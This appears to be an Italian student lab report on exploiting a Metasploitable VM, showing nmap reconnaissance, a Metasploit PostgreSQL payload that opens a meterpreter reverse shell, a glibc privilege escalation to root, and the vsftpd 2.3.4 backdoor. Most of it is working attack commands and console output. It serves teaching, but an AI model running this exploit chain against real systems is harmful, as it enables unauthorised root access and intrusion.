

Relazione Escalation di privilegi e backdoor

Nella seguente immagine avvio **msfconsole** ed avvio la scansione dei vari indirizzi IP attivi in rete, con il comando:

- **Sudo arp-scan 192.168.50.0/24**

[illegible]

Nella seguente immagine utilizzo il comando per la scansione delle porte e dei relativi servizi attivi:

- **sudo nmap -O -sV -T5 192.168.50.155**

```
msf6 > sudo nmap -O -sV 192.168.50.155
[*] exec: sudo nmap -O -sV -T5 192.168.50.155

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-25 08:27 EDT
Nmap scan report for 192.168.50.155
Host is up (0.0040s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rexecd
513/tcp   open  login          netkit-rsh rexecd
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:16:CA:16 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.98 seconds
```

Nella seguente immagine, dopo aver effettuato le varie scansioni di porte e servizi, e sistema operativo, utilizzo il comando per eseguire la ricerca del modulo specifico, come in questo caso:

- **search postgres_payload**
- **options** (controllo i vari setup)

```
msf6 exploit(linux/postgres/postgres_payload) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):

  Name          Current Setting  Required  Description
  --          -
SESSION        /bin/ping        yes       The session to run this module on
SUID_EXECUTABLE /bin/ping        yes       Path to a SUID executable

Payload options (linux/x64/meterpreter/reverse_tcp):

  Name          Current Setting  Required  Description
  --          -
LHOST          192.168.50.154  yes       The listen address (an interface may be specified)
LPORT          4444            yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Automatic

View the full module info with the info, or info -d command.
```

Successivamente all'aver trovato il modulo specifico, come illustrato precedentemente (**payload**), devo settare il mio payload per poterlo far funzionare, e così da poter eseguire la scala dei privilegi, da **utente limitato** a **root**:

- set payload
- set payload linux/x64/meterpreter/reverse_tcp (**devo cambiare da x64 a x86**)
- set payload linux/x86/meterpreter/reverse_tcp

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set linux/x64/meterpreter/reverse_tcp
[-] Unknown datastore option: linux/x64/meterpreter/reverse_tcp.
Usage: set [options] [name] [value]

Set the given option to value. If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore. Use -g to operate on the global datastore.

If setting a PAYLOAD, this command can take an index from 'show payloads'.

OPTIONS:

  -c, --clear      Clear the values, explicitly setting to nil (default)
  -g, --global     Operate on global datastore variables
  -h, --help       Help banner.

msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):

  Name          Current Setting  Required  Description
  --          -
SESSION        /bin/ping        yes       The session to run this module on
SUID_EXECUTABLE /bin/ping        yes       Path to a SUID executable

Payload options (linux/x86/meterpreter/reverse_tcp):

  Name          Current Setting  Required  Description
  --          -
LHOST          192.168.50.154  yes       The listen address (an interface may be specified)
LPORT          4444            yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Automatic
```

Nella seguente immagine e prossimo passaggio, illustrato, una volta caricato il modulo payload, configuro con set l'**RHOST**, il **LHOST** ed in fine posso utilizzare **run**, per lanciare l'attacco:

- **set RHOST (IP macchina vittima – Metasploitable)**
- **set LHOST (IP macchina locale – Linux)**
- **run (lancio l'attacco)**

```
msf6 exploit(linux/postgres/postgres_payload) > set RHOST 192.168.50.155
RHOST => 192.168.50.155
msf6 exploit(linux/postgres/postgres_payload) > set LHOST 192.168.50.154
LHOST => 192.168.50.154
msf6 exploit(linux/postgres/postgres_payload) > run

[*] Started reverse TCP handler on 192.168.50.154:4444
[*] 192.168.50.155:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/qaElMzII.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.50.155
[*] Meterpreter session 1 opened (192.168.50.154:4444 -> 192.168.50.155:50620) at 2024-09-25 08:36:54 -0400

meterpreter > getuid
Server username: postgres
```

Nella seguente immagine dopo aver settato RHOST, LHOST e aver lanciato l'attacco, utilizzo il comando per impostare ed utilizzare la sessione 1 e successivamente, lancio il programma

- **set session 1**
- **run**

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set session 1
session => 1
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run

[*] Started reverse TCP handler on 192.168.50.154:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.j35sRm0gE1' (1271 bytes) ...
[*] Writing '/tmp/.gEyyN6' (296 bytes) ...
[*] Writing '/tmp/.ULaZgFWg' (207 bytes) ...
[*] Launching exploit...
[*] Sending stage (1017704 bytes) to 192.168.50.155
[*] Meterpreter session 2 opened (192.168.50.154:4444 -> 192.168.50.155:57994) at 2024-09-25 10:09:19 -0400

meterpreter > getuid
Server username: root
```

Nella seguente immagine e prossimo passaggio utilizzo il comando **back** per tornare ai comandi con **msf6**, così da poter proseguire per la ricerca del modulo specifico, all'installazione della backdoor:

- **search vsftpd (modulo specifico)**
- **use 1 (per utilizzare il modulo specifico)**

```
Matching Modules

#  Name                                     Disclosure Date  Rank       Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal    Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor     2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
CHOST      CHOST            no        The local client address
CPORT      CPORT            no        The local client port
Proxies    Proxies          no        A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS     RHOSTS          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      RPORT           yes       The target port (TCP)

Exploit target:

Id  Name
--  -
0   Automatic
```


Come ultimo passaggio e come illustrato nell'immagine sottostante, imposto RHOST (macchina vittima) ed eseguo la backdoor, con il quale, posso entrare a Metasploitable

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.155
RHOSTS => 192.168.50.155
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.50.155:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.50.155:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.50.155:21 - The port used by the backdoor bind listener is already open
[+] 192.168.50.155:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 3 opened (192.168.50.154:33709 → 192.168.50.155:6200) at 2024-09-25 10:41:13 -0400

ls
ED4FMETASPLOITABLE.station
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
```